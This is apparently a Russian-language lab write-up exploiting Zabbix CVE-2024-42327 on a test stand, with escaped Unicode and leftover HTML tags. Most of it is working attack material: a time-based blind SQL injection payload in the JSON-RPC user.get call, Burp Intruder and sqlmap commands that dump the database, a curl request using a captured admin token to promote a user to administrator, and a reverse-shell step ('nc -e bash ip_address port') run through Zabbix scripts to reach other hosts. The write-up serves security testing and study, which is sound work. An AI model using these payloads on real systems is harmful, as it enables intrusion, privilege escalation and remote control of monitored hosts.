    \u0422\u0435\u0441\u0442\u043e\u0432\u044b\u0435 \u043a\u0440\u0435\u0434\u044b:
    test_cve
    p2ssw0rd123<\/p>\n

    <\/figure>\n

    \u0422\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435<\/h3>\n

    Burp<\/h4>\n

    \u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0441\u0442\u0435\u043d\u0434\u0430 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0430. \u041f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438
    \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u0442\u043a\u0440\u043e\u0435\u043c Burp \u0438 \u043e\u0431\u0440\u0430\u0442\u0438\u043c\u0441\u044f \u043d\u0430 api_jsonrpc.php \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0442\u043e\u043a\u0435\u043d\u0430<\/p>\n

    {<\/code>
    \"jsonrpc\":\"2.0\",<\/code>
    \"method\":\"user.login\",<\/code>
    \"params\":{<\/code>
    \"username\":\"test_cve\",<\/code>
    \"password\":\"p2ssw0rd123\"<\/code>
    },<\/code>
    \"id\":1<\/code>
    }<\/code><\/p>\n

    <\/figure>\n

    \u0414\u0430\u043b\u0435\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0440\u043e SQLi Time-based blind \u0432 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0435 user.get, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0441\u044f \u043a \u043d\u0435\u043c\u0443:
    {<\/code>
    \"jsonrpc\": \"2.0\",<\/code>
    \"method\": \"user.get\",<\/code>
    \"params\": {<\/code>
    \"selectRole\": [<\/code>
    \"roleid\",<\/code>
    \"name\",<\/code>
    \"type\",<\/code>
    \"readonly AND (SELECT(SLEEP(5)))\"<\/code>
    ],<\/code>
    \"userids\": [<\/code>
    \"1\",<\/code>
    \"2\"<\/code>
    ]<\/code>
    },<\/code>
    \"id\": 1,<\/code>
    \"auth\": \"d5a70c4b476e176ad5891ad1a2341e1c\"<\/code>
    }<\/code><\/p>\n

    <\/figure>\n

    \u0412\u044b\u0445\u043e\u0434\u0438\u0442 \u043d\u0430\u0448 payload \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442.
    \u0414\u0430\u043b\u0435\u0435 \u043c\u043e\u0436\u0435\u043c \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0439\u043b\u043e\u0430\u0434 AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE '_')<\/code> \u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0432 \u043d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0411\u0414.
    \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 Intruder \u0438 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0411\u0414
    Intruder -> Sniper attack -> Payload type: Brute force -> Character set (\u0446\u0438\u0444\u0440\u044b\/\u0431\u0443\u043a\u0432\u044b) -> min\\max lenght =1 -> \u0412\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b \u043f\u043e\u0438\u0441\u043a\u0430<\/p>\n

    <\/figure>\n

    SQLmap<\/h4>\n

    \u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u044d\u0442\u043e \u0432\u0441\u0435 \u043e\u0447\u0435\u043d\u044c \u043a\u0440\u0443\u0442\u043e, \u043d\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0442\u0438\u0447\u043d\u043e.
    \u0421\u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u0438\u0437 \u0440\u0435\u043f\u0438\u0442\u0435\u0440\u0430 \u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 sqli_zabb_post_req.txt \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0441\u043a\u043e\u0440\u043c\u0438\u0442\u044c sqlmap, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0431\u0430\u043d\u043d\u0435\u0440:
    SQLMap \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043d\u0435 \u043b\u0443\u0447\u0448\u0435\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u043d\u043e \u043d\u0430 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u043c \u0441\u0442\u0435\u043d\u0434\u0435 \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e.
    sqlmap -r sqli_zabb_post_req.txt —technique=T -b —time-sec 3<\/strong><\/p>\n

    <\/figure>\n

    \u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0431\u0438\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0442\u043e\u0447\u0435\u0447\u043d\u043e \u0443\u043a\u0430\u0437\u0430\u0432 \u0442\u0438\u043f \u0411\u0414 \u0438 \u0438\u0434\u0442\u0438 \u0434\u0430\u043b\u044c\u0448\u0435. \u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0411\u0414 \u043d\u0430\u043c \u0442\u043e\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e «zabbix» \u0438\u0437 \u0442\u0435\u0441\u0442\u0430 \u0441 Burp.
    \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u044c \u0441 \u0411\u0414 \u0432\u0441\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e:
    sqlmap -r sqli_zabb_post_req.txt --technique=T --dbms MySQL -D zabbix --time-sec 3 --all<\/code>
    \u041d\u043e \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043e\u0447\u0435\u043d\u044c \u0434\u043e\u043b\u0433\u043e. \u041a\u0430\u043a \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u043a\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0438\u0441\u043a\u0430.<\/p>\n

    API zabbix + scripts python or curl<\/h4>\n

    \u0410 \u043f\u043e\u043a\u0430 sqlmap \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043e\u0439\u0442\u0438 \u043a \u0432\u043e\u043f\u0440\u043e\u0441\u0443 \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b.
    \u0421\u043e\u0441\u0442\u0430\u0432\u0438\u043c \u0437\u0430\u043f\u0440\u043e\u0441, \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 Zabbix:<\/p>\n

    \u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0432 \u0441\u043b\u0435\u0433\u043a\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u043f\u043e API \u043d\u0430\u0448\u0435\u043b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441
    \u0417\u0430\u043f\u0440\u043e\u0441 \u0432\u0435\u0440\u0441\u0438\u0438
    (linux):
    curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"apiinfo.version\",\"params\":[],\"id\":1}'<\/code>
    (windows):
    curl -X POST -k https:\/\/ip_address\/api_jsonrpc.php -H \"Content-Type: application\/json\" -d \"{\\\"jsonrpc\\\":\\\"2.0\\\",\\\"method\\\":\\\"apiinfo.version\\\",\\\"params\\\":[],\\\"id\\\":1}\"<\/code><\/p>\n

    \n
    \u0412 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 API \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d, \u043d\u0430\u043c \u0432\u044b\u0434\u0430\u0441\u0442 \u0432\u0435\u0440\u0441\u0438\u044e Zabbix \u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445<\/figcaption><\/div>\n<\/figure>\n

    \u0417\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0432\u0445\u043e\u0434 API:
    curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.login\",\"params\":{\"username\":\"test_cve\",\"password\":\"p2ssw0rd123\"},\"id\":1}'
    <\/code>\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 \u043d\u0430\u0448\u0435\u043b PoC \u0434\u043e RCE
    \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: <\/em>https:\/\/github.com\/BridgerAlderson\/Zabbix-CVE-2024-42327-SQL-Injection-RCE<\/em><\/a>
    \u041e\u0434\u043d\u0430\u043a\u043e \u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, RCE \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c, \u0432\u0441\u0435 \u0436\u0435 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u044c session token \u0430\u0434\u043c\u0438\u043d\u0430.
    \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u0443\u0434\u0430\u043b\u0438\u043c \u0441\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043b\u0438\u0448\u043d\u0435\u0435 (\u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0440\u0435\u0432 \u0448\u0435\u043b\u0430, \u0432\u0432\u043e\u0434 \u043b.\u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u043b.\u043f\u043e\u0440\u0442\u0430).
    \u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0441 \u0445\u043e\u0441\u0442\u0430, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0430 \u0435\u0441\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 (\u0438\u0445 \u043c\u0438\u043d\u0438\u043c\u0443\u043c) \u0438 Python.<\/p>\n

    \u0414\u0432\u0438\u0433\u0430\u0435\u043c\u0441\u044f \u0434\u0430\u043b\u044c\u0448\u0435. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0430\u0434\u043c\u0438\u043d\u0430 \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e API, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u0432\u0435\u0431 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 Zabbix’a.<\/p>\n

    \u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u0440\u043e\u043b\u0438 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0447\u0435\u0440\u0435\u0437 API<\/h3>\n

    \u041f\u043e\u043a\u043e\u043f\u0430\u0432\u0448\u0438\u0441\u044c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438, \u043d\u0430\u0448\u0435\u043b \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f
    \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438:
    curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.get\",\"params\":{\"output\":\"extend\"},\"auth\":\"1a53530682a7722fba0d6633e98ab64b\",\"id\":1}' | grep \"test_cve\"<\/code> <\/p>\n

    <\/figure>\n

    \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0438\u0437\u0432\u043b\u0435\u0447\u044c userid \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f «test_cve» \u0438 \u0435\u0433\u043e roleid (userid:3 & roleid:5)
    \u0418 \u0432 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 (userid:1 & roleid:3)<\/p>\n

    <\/figure>\n

    \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f
    \u0417\u0430\u043f\u0440\u043e\u0441 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f auth \u0442\u043e\u043a\u0435\u043d \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440):
    curl -X POST -k http:\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.update\",\"params\":{\"userid\":\"3\", \"roleid\":\"3\"},\"auth\":\"1a53530682a7722fba0d6633e98ab64b\",\"id\":1}'<\/code>
    \u041e\u0442\u0432\u0435\u0442
    {«jsonrpc»:»2.0″,»result»:{«userids»:[«3″]},»id»:1}
    \u0420\u043e\u043b\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043c\u0435\u043d\u0438\u043b\u0430\u0441\u044c, \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u0448 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0440\u043e\u043b\u044c\u044e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432\u0441\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u0432\u0435\u0431 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435<\/p>\n

    <\/figure>\n

    \u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435<\/h3>\n

    LDAP<\/h3>\n

    \u0414\u0430\u043b\u0435\u0435 \u043c\u043e\u0436\u0435\u043c \u0437\u0430\u0439\u0442\u0438 \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 LDAP, \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043c\u0435\u043d\u044f\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u043e\u0442\u043b\u043e\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 c \u0447\u0435\u043c-\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0438\u043c \u043d\u0430 JWT \u0442\u043e\u043a\u0435\u043d:<\/p>\n

    <\/figure>\n

    \u041f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d (\u043d\u0430 jwt.io), \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0440\u0430\u0437\u0432\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0434\u0430\u043b\u044c\u0448\u0435 :<\/p>\n

    <\/figure>\n

    \u041a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u044d\u0442\u043e\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0443\u043c\u0435\u0441\u0442\u0435\u043d \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0435\u0441\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d LDAP<\/p>\n

    \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Zabbix<\/h3>\n

    \u0422\u0435\u043f\u0435\u0440\u044c \u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 (\u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u043c, \u0447\u0442\u043e \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434):
    \u0417\u0430\u0434\u0430\u0435\u043c \u0438\u043c\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u0430 -> Type: Script -> Execute on (\u0432\u044b\u0431\u0438\u0440\u0430\u0435\u043c \u0433\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f) -> Commands \u0438 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0441\u0430\u043c \u0441\u043a\u0440\u0438\u043f\u0442 (\u0431\u0440\u0430\u043b \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 Python3 \u043d\u0430 revshells.com, \u043c\u043e\u0436\u043d\u043e \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0432\u0438\u0434\u0430 «nc -e bash ip_address port», \u043d\u043e nc\/ncat \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0435 \u043d\u0430 \u0432\u0441\u0435\u0445 \u0445\u043e\u0441\u0442\u0430\u0445, \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 \u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u0442\u0440\u0438\u0433\u0435\u0440 \u043d\u0430 nc\/ncat, \u0441\u0447\u0438\u0442\u0430\u044e \u0447\u0442\u043e python\/python3 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c)<\/p>\n

    <\/figure>\n

    \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0435\u043c\u0441\u044f \u0432 «Actions» \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438<\/p>\n

    <\/figure>\n

    \u0422\u0435\u043f\u0435\u0440\u044c \u0435\u0441\u043b\u0438 \u0430\u0433\u0435\u043d\u0442\u044b \u0443 \u043d\u0430\u0441 \u043f\u0430\u0441\u0441\u0438\u0432\u043d\u044b\u0435, \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043c\u044b \u0432\u0441\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b\u0438 (\/etc\/zabbix\/zabbix_agentd.conf, \u0441\u0442\u0440\u043e\u043a\u0430 ServerActive \u0437\u0430\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0438 \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430 «EnableRemoteCommands=1»), \u0442\u043e \u043c\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u043e\u0439\u043c\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c rev shell<\/p>\n

    <\/figure>\n

    \u0418 \u0432\u043e\u0442 \u043d\u0430\u0448 \u0448\u0435\u043b \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b<\/p>\n

    <\/figure>\n

    \u0414\u0435\u043b\u0430\u0435\u043c \u0432\u044b\u0432\u043e\u0434, \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0437\u0430\u0431\u0431\u0438\u043a\u0441\u0430 \u0441 \u0440\u043e\u043b\u044c\u044e \u0441\u0443\u043f\u0435\u0440\u0430\u0434\u043c\u0438\u043d\u0430(\u0438\u043b\u0438 \u043b\u044e\u0431\u043e\u0439 \u0434\u0440\u0443\u0433\u043e\u0439, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b), \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u044b \u0434\u043e \u0434\u0440\u0443\u0433\u0438\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u0431\u0431\u0438\u043a\u0441, \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u0430\u0445.<\/p>\n

